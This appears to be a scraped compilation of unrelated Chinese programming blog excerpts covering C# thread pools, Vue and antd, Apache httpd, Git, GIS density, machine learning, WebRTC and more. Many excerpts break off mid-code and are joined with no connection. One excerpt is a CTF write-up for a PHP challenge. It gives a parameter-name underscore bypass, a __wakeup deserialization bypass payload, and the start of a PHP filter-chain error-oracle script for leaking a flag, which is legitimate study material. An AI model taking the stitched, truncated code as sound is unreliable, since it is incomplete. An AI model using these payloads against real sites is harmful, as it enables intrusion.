C# 中的线程池 在本文中,我将通过示例讨论C# 中的线程池。请阅读我们之前的文章,其中我们讨论了C# 中**多线程应用程序的性能测试** **。**作为本文的一部分,我们将讨论以下几点。
线程的请求生命周期。C# 中的线程池普通线程和线程池之间的性能测试 一、C# 中线程的请求生命周期及其示例。
当.NET框架收到请求时(该请求可以是来自任何类型的应用程序的方法调用或函数调用)。为了处理该请求,创建了一个线程对象。创建线程对象时,一些资源会分配给该线程对象,例如内存。然后执行任务,一旦任务完成,垃圾收集器就会删除该线程对象以释放内存分配。这就是C#中线程的生命周期。
对于多线程应用程序中出现的每个请求,将一次又一次地重复这些步骤。这意味着每次创建新的线程对象时,都会在内存中分配它。如果有很多请求,那么就会有很多线程对象,如果有很多线程对象,那么内存上就会有负载,这会减慢应用程序的速度。性能还有很大的提升空间。创建了 Thread 对象,分配了资源,执行了任务,然后它不应该进行垃圾回收,而不是像下图所示获取线程对象并将其放入池中?这就是线程池发挥作用的地方。
二、C# 中的线程池:
C# 中的线程池只不过是线程的集合,可以重用这些线程来在后台执行许多任务。现在当有请求到来时,它会直接进入线程池并检查是否有可用的空闲线程。如果可用,则它从线程池中获取线程对象并执行任务,如下图所示。
一旦线程完成其任务,它就会再次被发送回线程池,以便可以重用。这种可重用性避免了应用程序创建多个线程,从而减少了内存消耗。
三、普通线程和线程池之间的性能测试
如下面的代码所示,在这里,创建了一个方法 MyMethod,作为该方法的一部分,只需打印线程 id、线程是否为后台线程以及是否来自线程池或。使用线程池线程执行此方法 10 次。
3.1 线程池实现:
using System; using System.Threading; namespace ThreadPoolApplication { class Program { static void Main(string[] args) { for (int i = 0; i < 10; i++) { ThreadPool.QueueUserWorkItem(new WaitCallback(MyMethod)); } Console.Read(); } public static void MyMethod(object obj) { Thread thread = Thread.
WPF 管理员权限下软件的自启动 一、项目app.manifest种设置权限等级为requireAdministrator 二、代码实现 /// <summary> /// 自启动实现,其中App.exe可为具体exe /// </summary> public void RunAtStart() { var starupPath = GetType().Assembly.Location; try { var fileName = Path.GetDirectoryName(starupPath)+ "\\App.exe"; var shortFileName = fileName.Substring(fileName.LastIndexOf('\\') + 1); var myReg = Registry.LocalMachine.OpenSubKey( "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.FullControl); if (myReg == null) { myReg = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); } if (myReg != null && myReg.GetValue(shortFileName) != null) { myReg.DeleteValue(shortFileName); myReg.SetValue(shortFileName, fileName); } else if (myReg != null && myReg.GetValue(shortFileName) == null) { myReg.
🧋 问题描述 父组件的数据是请求后台所得,因为是异步数据,就会出现,父组件的值传递过去了,子组件加载不到,拿不到值的问题。
下面从同步数据传递和异步数据传递开始论述问题
🧋🧋1. 父组件传递的是同步数据 父组件
<template> <div class="parent"> <div class="child"> <props-children :data="dataJson"></props-children> </div> <input type="text" v-model="dataJson"/> </div> </template> <script> import propsChildren from '../../component/props/props_children.vue' export default { components: { propsChildren }, data(){ return{ dataJson:"初始化数据" } }, created(){ console.log('父created',this.dataJson) }, beforeuUpdate(){ console.log('父beforeupdated',this.dataJson) }, updated(){ console.log('父updated',this.dataJson) }, beforeDetroy(){ console.log('父beforeDetroy',this.dataJson) }, detroyed(){ console.log('父detroyed',this.dataJson) } } </script> <style scoped> .child{ width:600px; height:600px; background:#eee; } </style> 子组件
<template> <div> 我是子组件<br><br><br> 获取到父组件数据:{{data}}<br><br><br> <input type="text" v-model="
在性能关键型应用中,我们经常需要对代码的执行时间进行精确度到纳秒级别的测量。C++11 为我们提供了一个强大的工具——std::chrono 库,它可以帮助我们创建一个高精度计时器。
以下是一个使用 std::chrono 创建的纳秒级计时器的示例,并对其进行了详细的介绍。
#include <chrono> #include <iostream> class Timer { public: Timer() : m_StartTimepoint(std::chrono::high_resolution_clock::now()) {} ~Timer() { Stop(); } void Stop() { auto endTimepoint = std::chrono::high_resolution_clock::now(); auto start = std::chrono::time_point_cast<std::chrono::nanoseconds>(m_StartTimepoint).time_since_epoch().count(); auto end = std::chrono::time_point_cast<std::chrono::nanoseconds>(endTimepoint).time_since_epoch().count(); auto duration = end - start; double ms = duration * 1e-6; std::cout << duration << "ns (" << ms << "ms)\n"; } private: std::chrono::time_point<std::chrono::high_resolution_clock> m_StartTimepoint; }; 在这个示例中,我们定义了一个 Timer 类,其构造函数记录了开始的时间点。当然,你也可以在需要开始计时的时候手动调用开始计时的函数,这里为了简化起见,我们在构造函数中开始计时。
Stop 函数记录了结束的时间点,并计算了开始到结束的时间差。这里我们使用 std::chrono::time_point_cast 函数将时间点转换为纳秒级别的计时,然后使用 time_since_epoch 函数获取自纪元(1970-01-01 00:00:00 UTC)以来的纳秒数。这样,我们可以通过结束时间的纳秒数减去开始时间的纳秒数,得到代码执行的总纳秒数。
antv的tabs标签拖拽实现 目前antd vue3.2.13的tabs标签页不支持左右拖拽功能。现项目中需要使用,为此引入vuedraggable
准备 安装vuedraggable npm i vuedraggable 参考指南 vue2 Vue.Draggable、vue.draggable中文文档vue3 vue.draggable.next、vue.draggable.next 中文文档 开始 代码 <template> <a-tabs v-model:activeKey="activeKey"> <a-tab-pane v-for="item in state.list" :key="item.id" tab="Tab 1"> 我是{{ item.name }},今年{{ item.age }} </a-tab-pane> <template #renderTabBar> <div class="ant-tabs-nav-wrap"> <div class="ant-tabs-nav-list" style="transform: translate(0px, 0px)"> <draggable v-model="state.list" item-key="id"> <template #item="{ element }"> <div class="ant-tabs-tab" :class="{ 'ant-tabs-tab-active': activeKey === element.id }" @click="activeKey = element.id" > <div role="tab" aria-selected="true" class="ant-tabs-tab-btn" tabindex="0" id="rc-tabs-12-tab-1" aria-controls="rc-tabs-12-panel-1" > {{ element.name }} </div> </div> </template> </draggable> </div> </div> </template> </a-tabs> </template> <script setup lang="
1. Apache HTTP Server 基于什么协议提供网页浏览服务?
答:基于标准的http网络协议提供网页浏览服务。
2. 简述编译安装httpd软件包的基本过程?
答:解包,配置,编译,安装。
3. 编译安装httpd软件包时,添加--enable-rewrite与--enable-so配置选项的作用分别是什么?
答:--enable-rewrite:启用网页地址重写功能,用于网站优化及目录迁移维护。
--enable-so:启用动态加载模块支持,使httpd具备进一步扩展功能的能力。
4. Ln -s /usr/local/httpd/bin/* /usr/local/bin命令的作用是什么?
答:为Apache添加符号链接,优化路径.
5. 编译安装httpd后添加httpd.Service配置文件的作用是什么?
答:用于控制由systemd控制或监控的httpd服务。
6. Httpd.service配置文件中,Before与After配置项作用分别是什么?
答:After:设置服务单元的启动先后顺序,相对应还有一个字段是Before
列如:httpd.service单元文件中出现After=network.target“表示先启动network.target,后启动httpd.service,关闭时顺序相反。
如果出现Before=network.target“表示先启动httpd.service后启动network.target。
7. Httpd,service配置文件中,设置什么配置项可以帮助systemd准确定位到服务的主进程?
答:设置Type:设置服务进程的启动类型,当启动类型为forking时需要同时设置PIDFile配置项,以帮助systemd准确定位到服务的主进程。
8. 简述Apache HTTP Server使用的日志文件类型及各自的用途?
答:有两种类型,分别是访问日志和错误日志.
访问日志( access_log):可以及时了解Web站点的访问情况。
错误日志(error_log):可以为排查服务器故障时提供参考依据。
9. 在httpd服务的主配置文件中,ServerRoot与DocumentRoot配置项的作用分别是什么?
答:ServerRoot:设置httpd服务器的根目录,该目录包括了运行Web’站点必须的子目录和文件
DocummentRoot:设置网站根目录,即网页文档在系统中的实际存放路径,此配置项比较容易和ServerRoot混淆,需要格外注意。
10. 在httpd服务的主配置文件中,Require all denied配置项的作用是什么?
答:Require all denied:表示拒绝所有主机访问。
11.“Require not ip 192.168.4.100“配置语句的作用是什么?
答:拒绝ip 地址 192.168.4.100 访问主机.
12.httpd支持的虚拟机主机类型包括哪几种?
答:有三种类型,分别是:基于域名,基于IP地址,基于端口。
13.httpd-vhosts.conf配置文件的作用是什么?
答:虚拟主机配置文件,用于配置虚拟主机。
14.“Require all denied”配置语句表示什么含义?
答:表示拒绝所有主机访问。
15.httpd服务器支持哪两种认证方式?其区别是什么?
答:基本认证(Basic): 基本认证是httpd
服务的基本功能,不需要预先配置特别的选项。
Web LovePHP 打开网站环境,发现显示出源码
来可以看到php版本是7.4.33
简单分析了下,主要是道反序列化的题其中发现get传入的参数里有_号是非法字符,如果直接传值传入my_secret.flag,会被php处理掉
绕过 _ 的方法 对于__可以使用[,空格,+,.。都会被处理为_; 这是因为当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_ 所以用my]secret.flag来传就可以,之后就是看反序列化了,这里主要关注的是需要绕过wakeup方法,在一篇文章中发现了可以绕过php版本7.4.33的wakeup函数
使用C绕过 当开头添加为c的时候,只能执行destruct函数,无法添加任何方法所以我们直接用C:8:"Saferman":0:{}就可以了
PHP反序列化中wakeup()绕过总结 – fushulingのblog 之后确发现无法打印出flag,然后一直再试其他的也没有找到回显的地方,最后在file函数上找到了方法
侧信道攻击 侧信道其实就是根据一个二元或者多元条件关系差,可以让我们以”盲注”的形式,去获取某些信息的一种方法,测信道广义上是非常广泛的。在web题目中他们通常以盲注的形式出现。而这里的file函数里面是可以用filter伪协议的
我就直接利用大佬的脚本搞了一下,通过构造fliter链子,不断的请求内存区域的同一块资源区,通过判断彼此之间服务器响应的时间差值,来得到最终的flag
Webの侧信道初步认识 | Boogiepop Doesn't Laugh (boogipop.com)
import requests import sys from base64 import b64decode """ THE GRAND IDEA: We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE filter will blow up the string length by 4x every time it is used, which will quickly cause 500 error if and only if the string is non empty.
遇到的问题 antd vue table 默认是不支持表格拖拽排序的,但在实际的使用中,是有拖拽排序的需求。
解决方案 为此,官网文档提供了一个API customRow,用来设置行属性。
实现步骤 首先在table上添加属性 <a-table :columns="columns" :data-source="table.list" :custom-row="customRow"> ... </a-table> 然后定义该方法,设置高亮等 // 定义基础数据源 const table = { list: [], // 数据列表 sourceCode: '', // 源目标code targetCode: '', // 目标code } // 设置行属性方法 const customRow = (record: any, index: number) => { console.log('customRow', record, index) return { props: { // draggable: 'true' }, style: { cursor: 'pointer', }, // 鼠标移入 onMouseenter: (event: any) => { const ev = event || window.
ArrayList类的多态 public class ArrayList<E> extends AbstractList<E> implements List<E>, RandomAccess, Cloneable, java.io.Serializable AbstractList AbstractList继承AbstractCollection,实现List接口,因此除了具有集合的方法属性外,还具有固定顺序,以及索引特征。
AbstractList源码中包含了四个类Itr ,ListItr,SubList,RandomAccessSubList,分别来支持迭代和获取子列表。
RandomAccess 这个是一个随机访问,所谓的随机访问就是访问集合里面随机一个元素。当然所有的集合都具有随机访问的功能,但是基于基本结构的不同,实现的速度不同。ArrayList基于数组实现,天然带下标,可以实现常量级的随机访问,复杂度为O(1)。
Cloneable Cloneable 接口和普通的接口不同,他只是用于标记类的使用者了解克隆过程。
如果一个对象请求克隆, 但没有实现Cloneable接口, 就会生成一个CloneNotSupportedException异常。
Serializable 这是在程序中为了能直接以 Java 对象的形式进行保存,然后再重新得到该 Java 对象,这就是序列化能力Serializable。当然,并不是所有的类都需要序列化,一般来说当需要远程调用的时候就需要把类给序列化进行传输。
成员变量 序列化编号
private static final long serialVersionUID ArrayList默认初始容量
private static final int DEFAULT_CAPACITY = 10; 用于空实例的共享空数组实例。
private static final Object[] EMPTY_ELEMENTDATA = {}; 用于默认大小的空实例的共享空数组实例。将其与EMPTY_ELEMENTDATA区分开来,以知道添加第一个元素时要扩容多少。
private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = {}; 存储数组列表元素的数组缓冲区。数组列表的容量就是这个数组缓冲区的长度。任何带有elementData = = DEFAULTCAPACITY_EMPTY_ELEMENTDATA的空数组列表在添加第一个元素时将被扩展为DEFAULT_CAPACITY。
transient Object[] elementData; 数组列表的大小(包含的元素数量)。
private int size; 构造方法 指定容量大小的
工作场景中常用的git命令 1. 必备改名改邮箱拉代码下来并且创建新分支git commit回滚某个文件删除分支把master分支合并到当前分子 2. 其他暂存当前修改并切换到另一个分支更改远程仓库地址 工作场景中常用的git命令,记录下来方便调取 1. 必备 改名改邮箱 一般与他人合作,至少你提交的名字得被人熟知或者遵循规范,因此需要更改名字和邮箱
全局修改
git config --global user.name "新的姓名" git config --global user.email "新的邮箱地址" 只对本项目的修改
git config user.name "新的姓名" git config user.email "新的邮箱地址" 拉代码下来并且创建新分支 git clone xxx git checkout -b 111 git status #检查一下是不是在111分支 git push origin 111:111 # 想重命名一下111分支的名字 git branch -m feat-yourname git push --delete origin 111 git push origin feat-yourname 有时候你想使用简略的命令如直接git push而不指定远程分支,则需要设置一个远程分支作为你的上游分支
git push --set-upstream origin feat-yourname git commit 我们一般会
遇到的问题 当你使用:deep()或/deep/进行样式穿透,来修改modal弹窗的样式,你会发现似乎并没有效果。于是你开始审查元素的时候,发现弹窗渲染的结构在外层,如下图,所以你的穿透属性无效。
解决的方案 为此,官网文档提供了一个API getContainer,用来挂载弹窗的渲染节点。
如何操作 首先,在modal外层添加div,并添加ref="mod"然后,在modal上添加:get-container="() => $refs.mod" <div ref="mod"> <a-modal v-model:visible="visible" title="Basic Modal" :get-container="() => $refs.mod" @ok="handleOk"> <div class="title">Some contents...</div> <div class="body">Some contents...</div> </a-modal> </div> 然后就可以使用:deep()或/deep/进行样式穿透,继续修改弹窗的样式。 :deep(.ant-modal) { .title { ... } .body { ... } }
点的密度是点分析中一个很重要的方向,有大量的点数据的空间表达,基本上都是通过密度图来进行体现的,比如百度热力图:
又或者是交通车流量热力图:
空间点密度分析,把海量离散的点,变成高度抽象的综合性描述数据,这也是统计学的天赋技能之一。
如果说,这是互联网地图里面,最让人喜闻乐见的一种空间分析模式(或者是看热闹的同学就认为是一种漂亮的可视化方式也行),让以百度热力地图为代表的这种可视化方式,成为了即缓冲查询和路径分析之后,最为广大人民群众所熟知的一种空间分析方式。
既然这个东西这么好用(颜值即正义),所以虾神决定花一定的篇幅,来把密度分析这个东西从头到尾讲一遍。不过文章也仅仅是作为科普和入门,更深入的东西,需要大家自己去研究和探索。
首先,我们来简单看看密度这个概念——中学物理说得很清楚了,单位体积内的质量就叫做密度:而且最重要的一点,密度不是绝对数值,而是一个相对值。
比如物理上面的密度,都是以水为基准单位的,如果说水的密度为1(在常温常压下,单位g/cm3),那么铁的密度是7.8,这个7.8就是指与水相比较得出来的。同等体积的铁是同等体积的水的质量的7.8倍。(所有有时候,相对密度也用“比重”这个词来替代)
OK,物理上的对比非常容易,那么是不是空间上也是一样呢?实际上很多分析里面,都直接套用了物理上的一些思维,比如:人口密度,普遍的计算方法就是以平方公里为单位,来进行计算,得出的结果一般都是下面这样的示意图:
这种对比方式,可以较为明显识别世界上各个区域的人口密度情况,这种密度就是最容易做的一种密度了,直接划分网格,然后把每个网格包含多少个点(人)计数进去就可以了。
但是实际上,空间的密度的计算可能要更加复杂一点。
比如,针对上面的密度图形,提出一个问题,中国和印度,那个国家的人口密度更大?这种问题一提出来,肯定各种被喷,话说你的条件太不严谨了等等等的。。。中国东部很多地方的密度比印度还要高,但是中国还有大片西部没人的地方……这怎么比较啊。
所以不论是计算总体密度还是计算网格密度的方式,都还是在某些方面有限制……特别是用于比较的时候。
下面我们来看看古往今来,一些关于点密度计算的方式。
最简单的一种,就是借用了一维统计分析中的技术,看看下面这个例子。
如果我们有5个事件,把他们画到直线上,正好是在7、8、9、12、13,因为总的数量是20,所以总体的密度就应该是应该是5/20 = 0.25个点每单位长度。
而如果我们就整个事件分成两段,每段10个长度,那么一部分的密度就变成了0.33个点每单位,而第二段就变成了0.2个点每单位了……
再继续分成4段——第一段和最后一段,密度就变成了0,而第二段的密度是0.6,第三段的密度变成了0.4。
这种细分总体段的方法,在空间分析里面,是空间尺度的一种,不同的空间尺度下,可能得出不同的结果。所以如果将所有的点分配到线的整个长度上,是没有唯一答案的。
比如对中国人口密度的描述,总分一段肯定就是:14亿人/960万平方公里,但是如果按东西部分两段,得出的密度又不一样了……按省、按市就变化得更厉害了。
从这里可以看出一些个重要概念:
最计算的时候,采用的线段的长度(空间尺度),对密度值有着重要的影响(在物理上也是一样,用是立方厘米为标准来作为基准),而因为这个尺度可以是任意的,所以我们要想办法来去除对于这种空间尺度的依赖性。这种关于空间尺度的内容,大家可以参阅相关论文(当然,你们也可以等挖坑小能手虾神以后讲……)
那么去除尺度依赖性的方法有哪些呢?最简单的就是去细分尺度,把研究区域分割成若干段。但是切开始之后,我们会发现在分割处,我们的密度值会突然发现间断——这种情况在很多时候我们并不希望。回到最上面那张百度热力地图,它的可视化效果在内行人的眼中,观察到的最大的一个优点,就是非常平滑的过度;而如果出现了断崖式的变化的话,效果就差很远了,比如下面这种:
这样效果无疑就差很远了。
而且因为点数据的分布,还有可能出现密度为0的区域,如果密度为0,那么计算出来的密度可能有部分出现了空缺的情况,像这样:当然,这种情况是肯定有出现。
最后,我们可能会尽可能的细化——以至于进行了太多的细分,就有可能变成了二值化的区域:每个部分仅包含1或者0……这样又回到了我们最初始的状态,如下:且分成若干网格之后,每个网格要么是1(红色),要么没值是0(灰色)……
所以,挑选合适的空间尺度,在密度计算里面是最最重要的事情之一,如果没有合适的尺度,密度计算的结果会让你抓狂,而至于如何来处理,我们下次继续说。
那么如何把点变成密度图呢?在GIS里面,有很多方法来实现。比如你可以直接用ArcGIS提供的密度分析工具:
也可以直接自己做网格聚合,比如下面是地震点的数据:
我们可以预先定义和划分成100平方公里一个的网格:
然后做空间关联,把每一个点,关联到相应的空间网格上:
聚合计算(最简单的聚合就是做sum,不过既然叫做聚合,你可以去做max\min\mean\SD……为什么会有这些,我们后面在讲交通分析的时候再说。):
与ArcGIS提供的工具,做出来的结果是栅格数据不同,通过自定义格网做出来的,可以是矢量数据的密度网格,这种方式还有助于下一步进行继续分析。
待续未完。
修改当前选中项的值和value $("#select的id option:checked").val(想要设置的value值); $("#select的id option:checked").text(想要设置的text值); option选中指定text的那一项 $("#select的id").find("option:contains('确定的text值,需要已存在')").attr("selected",true); option选中指定value的那一项 $("#select的id").find("option[value='确定的value值']").attr("selected",true);
引言 在当今的前端开发中,UI组件库已经成为了我们工具箱中不可或缺的一部分。这些库可以极大地提高我们的工作效率,同时也使我们能够专注于实现真正的业务逻辑,而不是重复地编写UI代码。本篇博客将详细地探讨UI组件库的核心概念,特性以及如何有效地使用它们。
1. UI组件库是什么? // 一个简单的UI组件示例 import { Button } from 'your-ui-library'; function App() { return <Button>点击我</Button>; } export default App; UI组件库是一个包含了一系列预定义UI组件的库,这些组件通常包括按钮、输入框、列表、卡片等。它们通常以模块化的方式提供,开发者可以按需引入,这样可以减少最终生成的代码的体积。
2. 如何选择一个好的UI组件库? // 一个典型的UI组件库的目录结构 - your-ui-library - src - components - Button - Card - List - styles - main.scss - package.json 选择一个合适的UI组件库并不简单。我们需要考虑很多因素,包括但不限于:
组件的全面性:库中是否包含我们需要的所有组件?设计语言的一致性:库的设计语言是否符合我们的项目需求?定制性:是否可以轻松地定制组件的外观和行为?社区支持:该库是否有一个活跃的社区和良好的文档支持? 3. 如何在项目中使用UI组件库? // 在项目中引入和使用UI组件库 import { Button, Card } from 'your-ui-library'; function App() { return ( <Card> <Button>点击我</Button> </Card> ); } export default App; 使用UI组件库很简单。首先,你需要在你的项目中安装这个库。然后,你可以按需引入你需要的组件,并在你的代码中使用它们。
机器学习中的分类算法有:KNN算法、决策树、随机森林、SVM、极限学习机、多层感知机(BP神经网络)、贝叶斯方法。
1、KNN算法 关键知识:数据预处理(数据标准化)、K个邻居(需要由用户指定)、距离计算方式(需要考虑数据的特点)
核心思想:物以类聚人以群分,空间相近则类别相似
可以用于非数值类的统计数据的分类
1.1 算法流程 ①准备样本数据(训练数据),对数据进行预处理(如:标准化、缺失值补充等)。
②计算测试样本点(测试数据)到其他每个样本点的距离(有L1距离[马氏距离]、L2距离[欧式距离]、余弦距离等等) 。
③对每个测试样本点与所有训练数据的距离进行排序,然后选择出距离最小的K个点 [3] 。
④对K个点所属的类别进行比较,根据少数服从多数的原则,将测试样本点归入在K个点中占比最高的那一类 [3] 。
1.2算法流程示意图 1、将所有样本数据进行预处理,并构建样本空间;
2、输入一个新的数据Xu,并对Xu进行预处理;
3、计算新数据Xu到其他每个样本点的距离;
4、对新数据到所有样本点的距离进行排序,然后选择出距离最小的K个点,上图选出了5个点,可以得出k=5,W1:4;W2:0;W3:1;
5、对5个点所属的类别进行比较,根据少数服从多数的原则,将新的数据归入W1中。
1.3 优缺点 优点 KNN方法思路简单,易于理解,易于实现,无需估计参数
缺点 1、当样本不平衡时,容易偏向预测多类别。如一个类的样本容量很大,而其他类样本容量很小时,有可能导致当输入一个新样本时,该样本的K个邻居中大容量类的样本占多数
2、计算量大,需要计算每个测试数据与所有样本数据的距离
1.4 使用技巧 样本不平衡 对多数类数据进行均匀的下采样,使其类别频次与少数类相同
计算量大 对训练数据整体进行下采样,降低其空间密度,最终减少训练数据,但又不影响其分布特性
2、决策树 决策树是一种树形结构,由根结点、内部节点和叶子节点组成。其中每个内部节点表示一个属性上的测试,每个分支代表一个测试输出,每个叶节点代表一种类别。
核心思想:决策树的每一次分叉,都会使数据变得更纯。
关键知识:决策树是一个迭代过程,需要由终止条件;决策树判断纯度增益方式有三种:ID3(信息增益)、C4.5(信息增益率)、CART(基尼系数)
更多信息参考 https://aistudio.baidu.com/aistudio/projectdetail/1700924?ad-from=1636
2.2 算法流程 基本流程如下,针对ID3、C4.5、CART各有差异。
1、构建根节点。(将所有的数据都汇集到一起)
2、遍历树的所有未划分节点,判断当前节点是否需要继续划分
3、遍历当前节点的所有可用特征,尝试用该特征对数据进行划分,计算出划分后的子节点纯度增益信息
4、比较步骤二中各种特征划分后的数据纯度信息,选择纯度增益最大的特征做子节点,并删除本步骤使用的特征(越分叉,可用特征越少;父节点特征,不会在子节点二次利用)
5、回到步骤二
算法流程图如下所示:
图片引用自https://blog.csdn.net/qq_43517635/article/details/105992863
2.3 ID3算法 以信息增益来度量特征选择,选择信息增益最大的特征进行分裂。算法采用自顶向下的贪婪搜索遍历可能的决策树空间,最终会划分到每一个叶子节点都很纯。
基本概念有信息熵、条件熵、信息增益。熵:描述信息的混乱程度(不确定性),越大表示信息越混乱
信息熵:是度量样本集合“纯度”最常用的一种指标。
计算公式:下面公式中:p(i|t) 代表了节点 t 为分类 i 的概率,信息熵Ent(D)的值越小,其纯度越高。
条件熵:以某条件对数据进行划分后的信息熵(划分后的数据要乘以其再原始数据中的占比)
计算公式:
信息增益: 信息熵 - 条件熵; 条件熵小于信息熵;信息增益越大表示使用该特征来划分所获得的“纯度提升越大”
一、初始Vue 动态构建用户界面的渐进式JavaScript框架
英文官网中文官网 1.1 创建Vue实例 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
注意区分:js表达式 和 js代码(语句)
1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
(1). a
(2). a+b
(3). demo(1)
(4). x === y ? ‘a’ : ‘b’
2.js代码(语句)
(1). if(){}
(2). for(){}
<!-- 准备好一个容器 --> <div id="demo"> <h1>Hello,{{name.toUpperCase()}},{{address}}</h1> </div> //关闭VUe的生产提醒 vue2.x才需要关闭 vue3.x 不需要 Vue.config.productionTip = false // 创建Vue实例 new Vue({ el:'#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data:{ //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name:'atguigu', address:'北京' } }) 1.3 模板语法 Vue模板语法有2大类:
插值语法:
流媒体弱网优化之路(WebRTC)——GCC与BBR的算法思想分析 —— 我正在的github给大家开发一个用于做实验的项目 —— github.com/qw225967/Bifrost 目标:可以让大家熟悉各类Qos能力、带宽估计能力,提供每个环节关键参数调节接口并实现一个json全配置,提供全面的可视化算法观察能力。 欢迎大家使用 —— 文章目录 流媒体弱网优化之路(WebRTC)——GCC与BBR的算法思想分析一、GCC算法思想解析1.1 小心翼翼的TrendLine1.2 稳定的AimdRateControl 二、BBR的算法思想2.1 BDP的粗犷2.2 PacingRate的低粒度 三、GCC与BBR瓶颈竞争 一、GCC算法思想解析 1.1 小心翼翼的TrendLine GCC算法的核心拥塞检测模块,就是TrendlineEstimator。很多小伙伴在集成、使用GCC带宽估计算法时会对TrendLine的拥塞检测可靠性存在质疑,甚至无法理解该模块参数细节的意义。我给大家讲一些我个人的理解,以及对其特性做一下简单的佐证。
说到Trendline我还是需要再次提一下它的原理,简单来说:
1.相邻接收包与相邻发送包之间的间隔差可以有效反馈网络延迟;
d ( i ) = ( t i − T i ) − ( t i − 1 − T i − 1 ) = ( t i − t i − 1 ) − ( T i − T i − 1 ) d(i) = (t_i - T_i) - (t_{i-1} - T_{i-1}) = (t_i - t_{i-1}) - (T_i - T_{i-1}) d(i)=(ti−Ti)−(ti−1−Ti−1)=(ti−ti−1)−(Ti−Ti−1)
一、概述 mybatis中实现批量插入是很简单的,相比大家都知道,这里就不赘述,本文主要讲述如何实现批量更新。
下面介绍本文要讲的几种方式主要是在xml中实现,不包含需要改动代码逻辑的方法,这里,除了网上说的普通情况,还有适合mysql和oracle的批量更新方式: 1. case when 2. foreach成多条sql 3. ON DUPLICATE KEY UPDATE (mysql) 4. replace into (mysql)
这次,我要讲的就是这四种方式。
二、case when 这种方式实现的批量更新操作效率很低,而且,当更新的字段很多时,SQL语句会特别长。
<update id="updateBatch"> update t_calendar_extend <trim prefix="set" suffixOverrides=","> <trim prefix="modify_time = case index" suffix="end,"> <foreach collection="list" item="item"> when #{item.index} then #{item.modifyTime} </foreach> </trim> <trim prefix="user_type = case index" suffix="end"> <foreach collection="list" item="item"> when #{item.index} then #{item.type} </foreach> </trim> </trim> <where> index in ( <foreach collection="list" separator="," item="item"> #{item.index} </foreach> ) </where> </update> 这里,根据index值来更新modify_time 和user_type的值,有几个字段,就要遍历几遍,效率很低。
优化的目的是展示更快、交互响应快、页面无卡顿情况。
1 性能指标 2 分析方法 使用 ChromeDevTool 作为性能分析工具来观察页面性能情况。其中Network观察网络资源加载耗时及顺序,Performace观察页面渲染表现及JS执行情况,Lighthouse对网站进行整体评分,找出可优化项。
DOM的解析受JS加载和执行的影响,找到最长请求路径文件的耗时,尽量对JS进行压缩、拆分处理(HTTP2下),能减少 DOMContentLoaded 时间。图片、视频、iFrame等资源,会阻塞 onload 事件的触发,需要优化资源的加载时机,尽快触发onload。
页面LCP触发时间较晚,且出现多次布局偏移,则会影响用户体验,需要尽早渲染内容和减少布局偏移。页面 Long Tasks 较多,则需要对 JS进行合理拆分和加载,减少 Long Tasks 数量,特别是影响 DCL 和 onload 的 Task。
3 优化加载耗时 3.1 JS 资源 JS 资源:根据是否参与首屏渲染将影响 DOM 解析的 JS 资源划分为:关键 JS(采用拆分处理进行优化)和非关键 JS(采用延迟异步加载进行优化)。
使用 webpack-bundle-analyzer(如果是vite项目,推荐使用rollup-plugin-visualizer)进行打包分析关键 JS 文件数量和体积。优化近乎一半的关键 JS 文件体积。
首先配置正确的spliteChunks规则,不能简单的依靠 miniChunks 规则(比如miniChunks等于3,则会将某个页面使用三次的也打进去),对于所有页面都会加载的公共文件vendor.js(第三方),根据业务具体的需求,使用cacheGroups的test方法提取不同页面和组件都有的共同依赖(包括utils/log/api)到vendor中。而剩下的公共依赖新增一个common.js,提高 miniChunks 的阈值比如20,保证打包到common.js的是大多数页面的公共依赖,提供缓存利用率。
然后是按需加载组件,优化前存在require 来加载 svg 图片,会导致 webpack 将 require 文件夹内的内容一并打包,导致页面图标组件冗余,可以通过配置 babel 的依赖加载路径调整 Icon 的引入方式,通过 import { Fire,ToTop } from 'components/Icons' 进行按需引入。
一. 定时器中断概念 51单片机的内部有两个16位可编程的定时器/计数器,即定时器T0和定时器T1。
52单片机内部多一个T2定时器/计数器。
定时器/计数器的实质是加1计数器(16位),由高8位和低8位两个寄存器组成。
TMOD是定时器/计数器的工作方式寄存器,确定工作方式和功能;
TCON是控制寄存器,控制T0、T1的启动和停止及设置溢出标志。
加1计数器输入的计数脉冲有两个来源,一个由系统的时钟振荡器输出脉冲经12分频后送来;另一个是T0或T1引脚输入的外部脉冲源,每来一个脉冲计数器加1,当加到计数器全为1时,再输入一个脉冲就使计数器回零,且计数器的溢出使TCON寄存器中TF0或TF1置1,向CPU发出中断请求(定时器/计数器中断允许时)。
因此,溢出时计数器的值减去计数初值才是加1计数器的计数值。
设置为定时器模式时,加1计数器是对内部机器周期计数(1个机器周期等于12个振荡周期,即计数频率为晶振频率的1/12)。计数值N乘以机器周期Tcy就是定时时间t。
设置为计数器模式时,外部事件计数脉冲由T0或T1引脚输入到计数器。在每个机器周期的S5P2期间采样T0,T1引脚电平。当某周期采样到一高电平输入,而下一周期又采样到一低电平时,则计数器加1,更新的计数值在下一机器周期的S3P1期间装入计数器。由于检测一个从1到0的下降沿需要2个机器周期,因此要求被采样的电平至少要维持一个周期。当晶振频率为12MHz时,最高计数频率不超过1/2MHz,即计数脉冲的周期要大于2us。
二. 定时器/计数器工作方式寄存器TMOD TMOD在特殊功能寄存器中,字节地址为89H,不能位寻址。
TMOD用来确定定时器的工作方式及功能选择,单片机复位时TMOD全部被清0。
三. 定时器/计数器控制寄存器TCON TCON在在特殊功能寄存器中,字节地址为88H,可位寻址。
TCON用来控制定时器的启,停,标志定时器溢出和中断情况。单片机复位时TMOD全部被清0。
